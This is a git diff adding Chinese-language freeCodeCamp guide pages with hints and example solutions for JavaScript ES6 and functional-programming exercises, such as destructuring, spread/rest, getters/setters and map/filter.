+    // use function argument destructuring 
+    return (max + min) / 2.0; 
+  }; 
+  // change code above this line 
+ 
+ })(); 
+```
+
+请注意，我们正在对`stats`进行解构，以将其两个属性（ `max`和`min` ）传递给函数。不要忘记修改第二个return语句。将`stats.max`更改为`max` ，并将`stats.min`更改为`min` 。
+
+## 解决方案2：
+
+这是另一种有效的解决方案。除了函数没有名称这一事实之外，没什么区别。
+
+```javascript
+const half = (function() { 
+  "use strict"; // do not change this line 
+ 
+  // change code below this line 
+  return (({max, min}) => { 
+    // use function argument destructuring 
+    return (max + min) / 2.0; 
+  }); 
+  // change code above this line 
+ 
+ })(); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-with-the-rest-operator-to-reassign-array-elements/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-with-the-rest-operator-to-reassign-array-elements/index.md
new file mode 100644
index 0000000000..e46c4bd6d1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-with-the-rest-operator-to-reassign-array-elements/index.md
@@ -0,0 +1,72 @@
+---
+title: Use Destructuring Assignment with the Rest Operator to Reassign Array Elements
+localeTitle: 使用与Rest运算符的Destructuring Assignment重新分配数组元素
+---
+## 使用与Rest运算符的Destructuring Assignment重新分配数组元素
+
+请记住，rest运算符允许可变数量的参数。在这个挑战中，你必须摆脱数组的前两个元素。
+
+## 提示1：
+
+将前两个元素分配给两个随机变量。
+
+## 提示2：
+
+将数组的剩余部分设置为`...arr` 。
+
+\=======
+
+## 提示1
+
+使用destructuring来创建`arr`变量。
+
+```javascript
+function removeFirstTwo(list) { 
+  "use strict"; 
+  // change code below this line 
+  const [arr] = list; // change this 
+  // change code above this line 
+  return arr; 
+ } 
+```
+
+## 提示2
+
+将`list`参数传播到`arr` 。
+
+```javascript
+function removeFirstTwo(list) { 
+  "use strict"; 
+  // change code below this line 
+  const [...arr] = list; // change this 
+  // change code above this line 
+  return arr; 
+ } 
+```
+
+## 提示3
+
+使用`,,`排除`arr`数组的前两个元素。
+
+```javascript
+function removeFirstTwo(list) { 
+  "use strict"; 
+  // change code below this line 
+  const [,,...arr] = list; // change this 
+  // change code above this line 
+  return arr; 
+ } 
+```
+
+## 剧透警报 - 提前解决！
+
+```javascript
+function removeFirstTwo(list) { 
+  "use strict"; 
+  // change code below this line 
+  const [a, b, ...arr] = list; 
+  // change code above this line 
+  return arr; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-export-to-reuse-a-code-block/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-export-to-reuse-a-code-block/index.md
new file mode 100644
index 0000000000..0afcf41eab
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-export-to-reuse-a-code-block/index.md
@@ -0,0 +1,24 @@
+---
+title: Use export to Reuse a Code Block
+localeTitle: 使用export重用代码块
+---
+## 使用export重用代码块
+
+我们学习了如何从另一个文件导入内容。但是有一个问题。您只能导入从该其他文件**导出的**文件。
+
+你在这里的任务是导出`foo`和`bar` 。
+
+## 提示1：
+
+只需在他们面前添加出口！
+
+## 剧透警报 - 提前解决！
+
+## 解
+
+```javascript
+"use strict"; 
+ export const foo = "bar"; 
+ export const bar = "foo"; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-getters-and-setters-to-control-access-to-an-object/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-getters-and-setters-to-control-access-to-an-object/index.md
new file mode 100644
index 0000000000..f01bb08e60
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-getters-and-setters-to-control-access-to-an-object/index.md
@@ -0,0 +1,50 @@
+---
+title: Use getters and setters to Control Access to an Object
+localeTitle: 使用getter和setter来控制对象的访问
+---
+## 使用getter和setter来控制对象的访问
+
+getter和setter是类/对象的关键部分。它们允许您从外部控制其属性。当您开始使用面向对象编程单元时，它们将变得更加突出（即将推出！）。目前，本练习将向您展示如何使用ES6操作它们。
+
+## 提示1：
+
+创建恒温器类。你将把你的构造函数，getter和setter放在这里。
+
+## 提示2：
+
+为构造函数提供一个参数（您可以为任何名称命名）。将参数设置为同名属性。请记住，您最初设置的是Farenheit温度。
+
+## 提示3：
+
+创建一个将Farenheit属性转换为Celsius的get方法。使用给你的公式。
+
+## 提示4：
+
+创建与get方法同名的set方法。它应该有一个接受摄氏温度的参数。将其转换为farenheit，并将其设置为属性。
+
+## 剧透警报 - 提前解决！
+
+## 解
+
+```javascript
+function makeClass() { 
+  "use strict"; 
+  /* Alter code below this line */ 
+ 
+  class Thermostat{ 
+    constructor(farenheit){ 
+      this.farenheit = farenheit; 
+    } 
+    get temperature(){ 
+      return 5 / 9 * (this.farenheit - 32); 
+    } 
+    set temperature(celsius){ 
+      this.farenheit = celsius * 9.0 / 5 + 32; 
+    } 
+  } 
+ 
+  /* Alter code above this line */ 
+  return Thermostat; 
+ } 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-the-rest-operator-with-function-parameters/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-the-rest-operator-with-function-parameters/index.md
new file mode 100644
index 0000000000..efb33194fa
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-the-rest-operator-with-function-parameters/index.md
@@ -0,0 +1,47 @@
+---
+title: Use the Rest Operator with Function Parameters
+localeTitle: 将Rest运算符与函数参数一起使用
+---
+## 将Rest运算符与函数参数一起使用
+
+### 休息参数说明
+
+[Mozilla开发者网络](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/rest_parameters "Mozilla开发者网络")
+
+### 与rest参数相比，Spread运算符
+
+[堆栈溢出](https://stackoverflow.com/questions/33898512/spread-operator-vs-rest-parameter-in-es2015-es6 "堆栈溢出")
+
+### 视频解释传播和休息
+
+[![“youtube视频链接传播和休息运算符的图像”width](http://img.youtube.com/vi/iLx4ma8ZqvQ/0.jpg)](http://www.youtube.com/watch?feature=player_embedded&v=iLx4ma8ZqvQ
+)
+
+[### 例
+
+这段代码
+
+```javascript
+const product = (function() { 
+    "use strict"; 
+    return function product(n1, n2, n3) { 
+        const args = [n1, n2, n3]; 
+        return args.reduce((a, b) => a * b, 1); 
+    }; 
+ })(); 
+ console.log(product(2, 4, 6));//48 
+```
+
+可以这样写
+
+```javascript
+const product = (function() { 
+    "use strict"; 
+    return function product(...n) { 
+        return n.reduce((a, b) => a * b, 1); 
+    }; 
+ })(); 
+ console.log(product(2, 4, 6));//48 
+
+```](http://www.youtube.com/watch?feature=player_embedded&v=iLx4ma8ZqvQ
+)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-the-spread-operator-to-evaluate-arrays-in-place/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-the-spread-operator-to-evaluate-arrays-in-place/index.md
new file mode 100644
index 0000000000..f8eaf30d26
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-the-spread-operator-to-evaluate-arrays-in-place/index.md
@@ -0,0 +1,49 @@
+---
+title: Use the Spread Operator to Evaluate Arrays In-Place
+localeTitle: 使用Spread运算符来就地评估数组
+---
+## 使用Spread运算符来就地评估数组
+
+### 传播运营商解释道
+
+[Mozilla开发人员网络传播运营商](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Spread_syntax "Mozilla开发者网络")
+
+### Spread Operator与Rest Parameter相比较
+
+[堆栈溢出](https://stackoverflow.com/questions/33898512/spread-operator-vs-rest-parameter-in-es2015-es6 "堆栈溢出")
+
+### 视频解释扩散算子和静止参数
+
+[![“youtube视频链接传播和休息运算符的图像”width](http://img.youtube.com/vi/iLx4ma8ZqvQ/0.jpg)](http://www.youtube.com/watch?feature=player_embedded&v=iLx4ma8ZqvQ
+)
+
+[
+
+### 有关apply（）方法的信息
+
+](http://www.youtube.com/watch?feature=player_embedded&v=iLx4ma8ZqvQ
+)
+
+[](http://www.youtube.com/watch?feature=player_embedded&v=iLx4ma8ZqvQ
+)[Mozilla开发者网络应用方法](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Function/apply "Mozilla开发者网络")
+
+### 3个快速示例
+
+```javascript
+let numbers = [-12, 160, 0, -3, 51]; 
+ let minNum = Math.min.apply(null, numbers); 
+ console.log(minNum);//-12 
+```
+
+```javascript
+let numbers = [-12, 160, 0, -3, 51]; 
+ let minNum = Math.min(numbers); 
+ console.log(minNum);//NaN 
+```
+
+```javascript
+let numbers = [-12, 160, 0, -3, 51]; 
+ let minNum = Math.min(...numbers); 
+ console.log(minNum);//-12 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/write-arrow-functions-with-parameters/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/write-arrow-functions-with-parameters/index.md
new file mode 100644
index 0000000000..d5f3f867bf
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/write-arrow-functions-with-parameters/index.md
@@ -0,0 +1,31 @@
+---
+title: Write Arrow Functions with Parameters
+localeTitle: 用参数写箭头函数
+---
+## 用参数写箭头函数
+
+这里有一个[关于JavaScript中匿名函数](http://helephant.com/2008/08/23/javascript-anonymous-functions/)的[很酷的资源](http://helephant.com/2008/08/23/javascript-anonymous-functions/) ，以防你仍然想知道它们是什么，以及它们的作用。
+
+现在，您的任务是将参数放在箭头函数中。
+
+## 提示1：
+
+摆脱`function`关键字。放箭头操作符。
+
+## 提示2：
+
+确保将`var`更改为`const` 。
+
+## 扰流板警告 - 提前解决！
+
+## 解：
+
+```javascript
+const myConcat = (arr1, arr2) => { 
+  "use strict"; 
+  return arr1.concat(arr2); 
+ }; 
+ // test your code 
+ console.log(myConcat([1, 2], [3, 4, 5])); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/write-concise-declarative-functions-with-es6/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/write-concise-declarative-functions-with-es6/index.md
new file mode 100644
index 0000000000..f0aca427d1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/write-concise-declarative-functions-with-es6/index.md
@@ -0,0 +1,26 @@
+---
+title: Write Concise Declarative Functions with ES6
+localeTitle: 用ES6编写简明的声明函数
+---
+## 用ES6编写简明的声明函数
+
+ES6使编写声明性函数变得简单而有趣！在本课程中，您的任务是更改功能以遵循ES6标准。
+
+## 提示1：
+
+摆脱`function`关键字。
+
+## 剧透警报 - 提前解决！
+
+## 解
+
+```javascript
+const bicycle = { 
+  gear: 2, 
+  setGear(newGear) { 
+    "use strict"; 
+    this.gear = newGear; 
+  } 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/write-concise-object-literal-declarations-using-simple-fields/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/write-concise-object-literal-declarations-using-simple-fields/index.md
new file mode 100644
index 0000000000..2eecf4d7d9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/write-concise-object-literal-declarations-using-simple-fields/index.md
@@ -0,0 +1,29 @@
+---
+title: Write Concise Object Literal Declarations Using Simple Fields
+localeTitle: 使用简单字段编写简明对象文字声明
+---
+## 使用简单字段编写简明对象文字声明
+
+在这里，我们的任务是返回一个接受函数参数作为其属性的对象。
+
+# 提示1：
+
+摆脱冒号和重复的单词。
+
+## 扰流警报 - 提前解决
+
+## 解
+
+```javascript
+const createPerson = (name, age, gender) => { 
+  "use strict"; 
+  // change code below this line 
+  return { 
+    name, 
+    age, 
+    gender 
+  }; 
+  // change code above this line 
+ }; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/write-higher-order-arrow-functions/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/write-higher-order-arrow-functions/index.md
new file mode 100644
index 0000000000..f7ff868fda
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/write-higher-order-arrow-functions/index.md
@@ -0,0 +1,70 @@
+---
+title: Write Higher Order Arrow Functions
+localeTitle: 编写高阶箭头函数
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3c8584a085a0deaea66b3400e6321eeadab552a2.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### 问题说明：
+
+我们需要从`realNumberArray`计算和平方值，并使用`map()` ， `filter()`和/或`reduce()`函数将它们存储在变量`squaredIntegers` 。
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+*   您将需要`filter()` `realNumberArray`为正整数（小数不是整数）。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：2
+
+*   您需要将`filter()`函数中的值`map()`到变量`squaredIntegers` 。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：3
+
+*   记住链接功能的魔力。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+
+```javascript
+    const squareList = (arr) => { 
+      "use strict"; 
+      const squaredIntegers = arr.filter( (num) => num > 0 && num % parseInt(num) === 0 ).map( (num) => Math.pow(num, 2) ); 
+      return squaredIntegers; 
+    }; 
+ 
+    // test your code 
+    const squaredIntegers = squareList(realNumberArray); 
+    console.log(squaredIntegers); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://codepen.io/dylantyates/pen/WyWoYJ)
+
+# 代码说明：
+
+使用operator `filter()`和`map()`函数来对给定数组中的所有正整数求平方。
+
+#### 相关链接
+
+*   [地图（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map)
+*   [过滤（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter)
+*   [降低（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/Reduce)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/add-elements-to-the-end-of-an-array-using-concat-instead-of-push/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/add-elements-to-the-end-of-an-array-using-concat-instead-of-push/index.md
new file mode 100644
index 0000000000..626ccb20d0
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/add-elements-to-the-end-of-an-array-using-concat-instead-of-push/index.md
@@ -0,0 +1,29 @@
+---
+title: Add Elements to the End of an Array Using concat Instead of push
+localeTitle: 使用concat将元素添加到数组的末尾而不是push
+---
+## 使用concat将元素添加到数组的末尾而不是push
+
+在`push`方法将新元素添加到原始数组的末尾的地方， `concat`方法创建一个新数组，其中包含原始数组和新元素中的元素。使用`concat`时，原始数组保持不变。
+
+#### 相关链接：
+
+*   [Array.prototype.concat（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/concat)
+
+## 解
+
+```javascript
+function nonMutatingPush(original, newItem) { 
+ 
+  // Add your code below this line 
+ 
+  return original.concat(newItem); 
+ 
+  // Add your code above this line 
+ } 
+ 
+ var first = [1, 2, 3]; 
+ var second = [4, 5]; 
+ nonMutatingPush(first, second); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/apply-functional-programming-to-convert-strings-to-url-slugs/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/apply-functional-programming-to-convert-strings-to-url-slugs/index.md
new file mode 100644
index 0000000000..0a8880039d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/apply-functional-programming-to-convert-strings-to-url-slugs/index.md
@@ -0,0 +1,39 @@
+---
+title: Apply Functional Programming to Convert Strings to URL Slugs
+localeTitle: 应用函数式编程将字符串转换为URL Slugs
+---
+## 应用函数式编程将字符串转换为URL Slugs
+
+### 解
+
+```javascript
+// the global variable 
+ var globalTitle = "Winter Is Coming"; 
+ 
+ // Add your code below this line 
+ function urlSlug(title) { 
+ return title.split(/\W/).filter((obj)=>{ 
+    return obj !==''; 
+  }).join('-').toLowerCase(); 
+ 
+ } 
+ // Add your code above this line 
+ 
+ var winterComing = urlSlug(globalTitle); // Should be "winter-is-coming" 
+```
+
+### 替代解决方案
+
+```javascript
+// the global variable 
+ var globalTitle = "Winter Is Coming"; 
+ 
+ // Add your code below this line 
+ function urlSlug(title) { 
+  return title.toLowerCase().trim().split(/\s+/).join('-'); 
+ } 
+ // Add your code above this line 
+ 
+ var winterComing = urlSlug(globalTitle); // Should be "winter-is-coming" 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/avoid-mutations-and-side-effects-using-functional-programming/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/avoid-mutations-and-side-effects-using-functional-programming/index.md
new file mode 100644
index 0000000000..0630e1b3b8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/avoid-mutations-and-side-effects-using-functional-programming/index.md
@@ -0,0 +1,31 @@
+---
+title: Avoid Mutations and Side Effects Using Functional Programming
+localeTitle: 使用功能编程避免突变和副作用
+---
+## 使用功能编程避免突变和副作用
+
+### 问题解释
+
+填写函数`incrementer`的代码，使其返回全局变量`fixedValue`的值增加1。 `fixedValue`不应该改变，不管功能多少次`incrememter`被调用。
+
+### 提示1
+
+在`fixedValue`上使用增量运算符（ `++` ）将改变`fixedValue` ，这意味着它将不再引用它所分配的相同值。
+
+### 解：
+
+```javascript
+// the global variable 
+ var fixedValue = 4; 
+ 
+ function incrementer () { 
+  // Add your code below this line 
+  return fixedValue + 1; 
+ 
+  // Add your code above this line 
+ } 
+ 
+ var newValue = incrementer(); // Should equal 5 
+ console.log(fixedValue); // Should print 4 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/combine-an-array-into-a-string-using-the-join-method/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/combine-an-array-into-a-string-using-the-join-method/index.md
new file mode 100644
index 0000000000..9163e2067b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/combine-an-array-into-a-string-using-the-join-method/index.md
@@ -0,0 +1,35 @@
+---
+title: Combine an Array into a String Using the join Method
+localeTitle: 使用join方法将Array组合成String
+---
+## 使用join方法将Array组合成String
+
+### 问题解释
+
+使用`sentensify`函数内的`join`方法（以及其他方法）从字符串`str`的单词创建一个句子。该函数应返回一个字符串。例如，“我喜欢星球大战”将被转换为“我喜欢星球大战”。对于此挑战，请勿使用`replace`方法。
+
+#### 相关链接：
+
+*   [Array.prototype.join（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/join)
+*   [String.prototype.split（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/split)
+*   [常用表达](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Regular_Expressions)
+
+### HINT1
+
+您可能需要先将字符串转换为数组。
+
+### 提示二
+
+您可能需要使用正则表达式来拆分字符串。
+
+### 解：
+
+```javascript
+function sentensify(str) { 
+  // Add your code below this line 
+  return str.split(/\W/).join(' '); 
+  // Add your code above this line 
+ } 
+ sentensify("May-the-force-be-with-you"); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/combine-two-arrays-using-the-concat-method/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/combine-two-arrays-using-the-concat-method/index.md
new file mode 100644
index 0000000000..cc8791f2bc
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/combine-two-arrays-using-the-concat-method/index.md
@@ -0,0 +1,24 @@
+---
+title: Combine Two Arrays Using the concat Method
+localeTitle: 使用concat方法组合两个数组
+---
+## 使用concat方法组合两个数组
+
+*   concat方法用于连接两个或多个数组或字符串。
+*   此方法不会改变现有数组，但会返回一个新数组。
+
+## 解
+
+```javascript
+function nonMutatingConcat(original, attach) { 
+  // Add your code below this line 
+ 
+  return original.concat(attach); 
+ 
+  // Add your code above this line 
+ } 
+ var first = [1, 2, 3]; 
+ var second = [4, 5]; 
+ nonMutatingConcat(first, second); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/implement-map-on-a-prototype/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/implement-map-on-a-prototype/index.md
new file mode 100644
index 0000000000..324d92f72c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/implement-map-on-a-prototype/index.md
@@ -0,0 +1,34 @@
+---
+title: Implement map on a Prototype
+localeTitle: 在Prototype上实现地图
+---
+## 在Prototype上实现地图
+
+要使用关键字解决此挑战，这是一个关键。
+
+它将使我们能够访问我们调用myMap的对象。
+
+从那里我们可以使用forEach或for循环向已经声明的空数组添加元素，因为我们使用给定的回调方法修改每个元素。
+
+```javascript
+// the global Array 
+ var s = [23, 65, 98, 5]; 
+ 
+ Array.prototype.myMap = function(callback){ 
+  var newArray = []; 
+  // Add your code below this line 
+  this.forEach(a => newArray.push(callback(a))); 
+  // Add your code above this line 
+  return newArray; 
+ 
+ }; 
+ 
+ var new_s = s.myMap(function(item){ 
+  return item * 2; 
+ }); 
+```
+
+### 有用的链接
+
+[这个。 Javascript MDN](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/this)  
+[这个。 Javascript W3Schools](https://www.w3schools.com/js/js_this.asp)
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/implement-the-filter-method-on-a-prototype/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/implement-the-filter-method-on-a-prototype/index.md
new file mode 100644
index 0000000000..938cbd2f0a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/implement-the-filter-method-on-a-prototype/index.md
@@ -0,0 +1,45 @@
+---
+title: Implement the filter Method on a Prototype
+localeTitle: 在Prototype上实现过滤器方法
+---
+## 在Prototype上实现过滤器方法
+
+```javascript
+// the global Array 
+ var s = [23, 65, 98, 5]; 
+ 
+ Array.prototype.myFilter = function(callback){ 
+  var newArray = []; 
+  // Add your code below this line 
+  this.forEach(function(x) { 
+    if (callback(x) == true) { 
+      newArray.push(x); 
+    } 
+  }) 
+  // Add your code above this line 
+  return newArray; 
+ 
+ }; 
+```
+
+## 另一个用于looop的解决方案！
+
+```javascript
+Array.prototype.myFilter = function(callback){ 
+  var newArray = []; 
+  // Add your code below this line 
+  for (let i=0; i<this.length;i++){ 
+    if(callback(this[i])=== true ){ 
+ newArray.push(this[i]); 
+    } 
+  } 
+  // Add your code above this line 
+  return newArray; 
+ 
+ }; 
+ 
+ var new_s = s.myFilter(function(item){ 
+  return item % 2 === 1; 
+ }); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/index.md
new file mode 100644
index 0000000000..a6ef6a7e1b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/index.md
@@ -0,0 +1,11 @@
+---
+title: Functional Programming
+localeTitle: 功能编程
+---
+## 功能编程
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/introduction-to-currying-and-partial-application/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/introduction-to-currying-and-partial-application/index.md
new file mode 100644
index 0000000000..e0f621e686
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/introduction-to-currying-and-partial-application/index.md
@@ -0,0 +1,21 @@
+---
+title: Introduction to Currying and Partial Application
+localeTitle: Currying和Partial Application简介
+---
+## Currying和Partial Application简介
+
+### 解
+
+```javascript
+function add(x) { 
+  // Add your code below this line 
+  return function(y) { 
+    return function(z) { 
+      return x + y + z; 
+    } 
+  } 
+  // Add your code above this line 
+ } 
+ add(10)(20)(30); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/learn-about-functional-programming/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/learn-about-functional-programming/index.md
new file mode 100644
index 0000000000..18ca716386
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/learn-about-functional-programming/index.md
@@ -0,0 +1,48 @@
+---
+title: Learn About Functional Programming
+localeTitle: 了解功能编程
+---
+## 了解功能编程
+
+函数有一个输入或参数`const myFunc = (input) => { ...code to execute... }` 。在这种情况下，输入是要创建多少杯茶。  
+
+### 方法
+
+只需更改一行代码即可传递此问题。必须调用`getTea()`函数并将其存储在`tea4TeamFCC`变量中。确保通读`getTea()`函数并准确理解它的作用。该函数接受一个变量 - `numOfCups` 。首先制作一个`teaCups[]`数组，并设置一个for循环来倒数传入函数的杯数。然后，通过for循环的每次迭代，将一杯新茶推入阵列。
+
+从而产生一个阵列，其中包含最初传递给`getTea()`函数的大量茶杯。
+
+### 解
+
+```javascript
+/** 
+ * A long process to prepare tea. 
+ * @return {string} A cup of tea. 
+ **/ 
+ const prepareTea = () => 'greenTea'; 
+ 
+ /** 
+ * Get given number of cups of tea. 
+ * @param {number} numOfCups Number of required cups of tea. 
+ * @return {Array<string>} Given amount of tea cups. 
+ **/ 
+ const getTea = (numOfCups) => { 
+  const teaCups = []; 
+ 
+  for(let cups = 1; cups <= numOfCups; cups += 1) { 
+    const teaCup = prepareTea(); 
+    teaCups.push(teaCup); 
+  } 
+ 
+  return teaCups; 
+ }; 
+ 
+ // Add your code below this line 
+ 
+ const tea4TeamFCC = getTea(40); // :( 
+ 
+ // Add your code above this line 
+ 
+ console.log(tea4TeamFCC); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/pass-arguments-to-avoid-external-dependence-in-a-function/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/pass-arguments-to-avoid-external-dependence-in-a-function/index.md
new file mode 100644
index 0000000000..d3d0d3dfc8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/functional-programming/pass-arguments-to-avoid-external-dependence-in-a-function/index.md
@@ -0,0 +1,32 @@
+---
+title: Pass Arguments to Avoid External Dependence in a Function
+localeTitle: 传递参数以避免函数中的外部依赖
+---
+## 传递参数以避免函数中的外部依赖
+
+## 提示：1
+
